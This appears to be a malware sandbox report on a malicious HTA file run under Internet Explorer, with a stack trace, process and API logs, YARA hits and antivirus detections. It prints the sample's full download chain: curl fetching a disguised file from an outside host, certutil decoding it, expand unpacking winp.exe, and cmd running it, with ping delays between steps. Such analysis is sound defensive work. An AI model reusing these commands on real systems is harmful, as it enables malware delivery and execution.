__exception__ Jan. 16, 2024, 10:02 a.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefd4fa49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefdba73c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefd9243bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdbc5295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdbc2799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefdc6af1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefdc6b76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdbc48d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefda50883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefda50ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefda50c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefd90a4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefd91d551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefda5347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefda5122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefda53542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefd91d42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefd91d1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x769c9bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x769c98da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefd91d0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefda43e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefd8f0106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefd8f0182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefd4fa49d registers.r14: 0 registers.r15: 0 registers.rcx: 113698224 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 113704176 registers.r11: 113699984 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1881231233 registers.r13: 0	1	0	0

Application Crash

Process iexplore.exe with pid 2612 crashed

Time & API

Arguments

Status

Return

Repeated

__exception__

Jan. 16, 2024, 10:02 a.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefd4fa49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefdba73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefd9243bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdbc5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdbc2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefdc6af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefdc6b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdbc48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefda50883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefda50ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefda50c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefd90a4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefd91d551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefda5347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefda5122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefda53542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefd91d42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefd91d1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x769c9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x769c98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefd91d0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefda43e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefd8f0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefd8f0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521

Creates a suspicious process (7 events)

cmdline	C:\Windows\System32\cmd.exe /c ping -n 20 127.0.0.1 > nul
cmdline	C:\Windows\System32\cmd.exe /c ping -n 10 127.0.0.1 > nul
cmdline	C:\Windows\System32\cmd.exe /c ping -n 5 127.0.0.1 > nul
cmdline	"C:\Windows\system32\cmd.exe" /c ping -n 20 127.0.0.1 > nul
cmdline	"C:\Windows\System32\cmd.exe" /c c:\users\public\Videos\winp.exe
cmdline	"C:\Windows\system32\cmd.exe" /c ping -n 10 127.0.0.1 > nul
cmdline	"C:\Windows\system32\cmd.exe" /c ping -n 5 127.0.0.1 > nul

A process created a hidden window (10 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Jan. 16, 2024, 10:01 a.m.	show_type: 0 filepath_r: https://mail.chapanakit-rta.com/images/happynewyear.jpg parameters: filepath: https://mail.chapanakit-rta.com/images/happynewyear.jpg	1	1
ShellExecuteExW Jan. 16, 2024, 10:01 a.m.	show_type: 0 filepath_r: https://mail.chapanakit-rta.com/images/happynewyear.jpg parameters: filepath: https://mail.chapanakit-rta.com/images/happynewyear.jpg	1	1
ShellExecuteExW Jan. 16, 2024, 10:01 a.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: /c ping -n 10 127.0.0.1 > nul filepath: C:\Windows\System32\cmd.exe	1	1
ShellExecuteExW Jan. 16, 2024, 10:01 a.m.	show_type: 0 filepath_r: curl parameters: https://mail.chapanakit-rta.com/pt/wct9D39.jpg -o C:\Users\Public\Documents\wct9D39.jpg filepath: curl	1	1
ShellExecuteExW Jan. 16, 2024, 10:01 a.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: /c ping -n 20 127.0.0.1 > nul filepath: C:\Windows\System32\cmd.exe	1	1
ShellExecuteExW Jan. 16, 2024, 10:01 a.m.	show_type: 0 filepath_r: certutil.exe parameters: -decode "C:\Users\Public\Documents\wct9D39.jpg" "C:\Users\Public\Documents\wct9D39.tmp" filepath: certutil.exe	1	1
ShellExecuteExW Jan. 16, 2024, 10:01 a.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: /c ping -n 10 127.0.0.1 > nul filepath: C:\Windows\System32\cmd.exe	1	1
ShellExecuteExW Jan. 16, 2024, 10:01 a.m.	show_type: 0 filepath_r: expand parameters: C:\Users\Public\Documents\wct9D39.tmp -f:* c:\users\public\Videos\winp.exe filepath: expand	1	1
ShellExecuteExW Jan. 16, 2024, 10:01 a.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: /c ping -n 5 127.0.0.1 > nul filepath: C:\Windows\System32\cmd.exe	1	1
ShellExecuteExW Jan. 16, 2024, 10:01 a.m.	show_type: 0 filepath_r: cmd parameters: /c c:\users\public\Videos\winp.exe filepath: cmd	1	1

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Jan. 16, 2024, 10:01 a.m.	process_identifier: 2612 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 65536 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x0000000003670000 process_handle: 0xffffffffffffffff	1	0	0

Yara rule detected in process memory (16 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (11 events)

cmdline	C:\Windows\System32\cmd.exe /c ping -n 20 127.0.0.1 > nul
cmdline	C:\Windows\System32\cmd.exe /c ping -n 10 127.0.0.1 > nul
cmdline	C:\Windows\System32\cmd.exe /c ping -n 5 127.0.0.1 > nul
cmdline	ping -n 5 127.0.0.1
cmdline	ping -n 20 127.0.0.1
cmdline	"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2612 CREDAT:145409
cmdline	"C:\Windows\system32\cmd.exe" /c ping -n 20 127.0.0.1 > nul
cmdline	"C:\Windows\system32\cmd.exe" /c ping -n 10 127.0.0.1 > nul
cmdline	"C:\Windows\system32\cmd.exe" /c ping -n 5 127.0.0.1 > nul
cmdline	ping -n 10 127.0.0.1
cmdline	"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2612 CREDAT:79876

Communicates with host for which no DNS query was performed (1 event)

host

117.18.232.200

File has been identified by 18 AntiVirus engines on VirusTotal as malicious (18 events)

Lionic	Trojan.HTML.SAgent.4!c
VIPRE	Generic.JS.Downloader.A.7F4138D0
Arcabit	Generic.JS.Downloader.A.7F4138D0
Symantec	Trojan Horse
ESET-NOD32	JS/TrojanDownloader.Agent.AALB
Avast	Other:Malware-gen [Trj]
Kaspersky	HEUR:Trojan.HTA.SAgent.gen
BitDefender	Generic.JS.Downloader.A.7F4138D0
MicroWorld-eScan	Generic.JS.Downloader.A.7F4138D0
Rising	Downloader.Agent/JS!8.10EAD (TOPIS:E0:oPn7BTjgPIO)
Emsisoft	Generic.JS.Downloader.A.7F4138D0 (B)
Google	Detected
Microsoft	Trojan:HTML/Phish!MSR
ZoneAlarm	HEUR:Trojan.HTA.SAgent.gen
GData	Generic.JS.Downloader.A.7F4138D0
Tencent	Js.Trojan-Downloader.Er.Rgil
Ikarus	Virus.SuspectCRC
AVG	Other:Malware-gen [Trj]

A command shell or script process was created by an unexpected parent process (1 event)

parent_process

iexplore.exe

martian_process

cmd /c c:\users\public\Videos\winp.exe

One or more non-whitelisted processes were created (15 events)

parent_process	iexplore.exe	martian_process	C:\Windows\System32\cmd.exe /c ping -n 10 127.0.0.1 > nul
parent_process	iexplore.exe	martian_process	C:\Windows\System32\cmd.exe /c ping -n 5 127.0.0.1 > nul
parent_process	iexplore.exe	martian_process	"C:\Windows\System32\expand.exe" C:\Users\Public\Documents\wct9D39.tmp -f:* c:\users\public\Videos\winp.exe
parent_process	iexplore.exe	martian_process	"C:\Windows\system32\cmd.exe" /c ping -n 10 127.0.0.1 > nul
parent_process	iexplore.exe	martian_process	C:\Windows\System32\cmd.exe /c ping -n 20 127.0.0.1 > nul
parent_process	iexplore.exe	martian_process	https://mail.chapanakit-rta.com/images/happynewyear.jpg
parent_process	iexplore.exe	martian_process	"C:\Windows\system32\cmd.exe" /c ping -n 20 127.0.0.1 > nul
parent_process	iexplore.exe	martian_process	cmd /c c:\users\public\Videos\winp.exe
parent_process	iexplore.exe	martian_process	"C:\Windows\System32\cmd.exe" /c c:\users\public\Videos\winp.exe
parent_process	iexplore.exe	martian_process	curl https://mail.chapanakit-rta.com/pt/wct9D39.jpg -o C:\Users\Public\Documents\wct9D39.jpg
parent_process	iexplore.exe	martian_process	"C:\Windows\system32\cmd.exe" /c ping -n 5 127.0.0.1 > nul
parent_process	iexplore.exe	martian_process	"C:\util\curl\curl.exe" https://mail.chapanakit-rta.com/pt/wct9D39.jpg -o C:\Users\Public\Documents\wct9D39.jpg
parent_process	iexplore.exe	martian_process	certutil.exe -decode "C:\Users\Public\Documents\wct9D39.jpg" "C:\Users\Public\Documents\wct9D39.tmp"
parent_process	iexplore.exe	martian_process	expand C:\Users\Public\Documents\wct9D39.tmp -f:* c:\users\public\Videos\winp.exe
parent_process	iexplore.exe	martian_process	"C:\Windows\System32\certutil.exe" -decode "C:\Users\Public\Documents\wct9D39.jpg" "C:\Users\Public\Documents\wct9D39.tmp"

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2612 resumed a thread in remote process 2700
Process injection	Process 2612 resumed a thread in remote process 2936
NtResumeThread Jan. 16, 2024, 10:01 a.m.	thread_handle: 0x000000000000034c suspend_count: 1 process_identifier: 2700	1	0	0
NtResumeThread Jan. 16, 2024, 10:01 a.m.	thread_handle: 0x0000000000000128 suspend_count: 1 process_identifier: 2936	1	0	0

M.hta

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All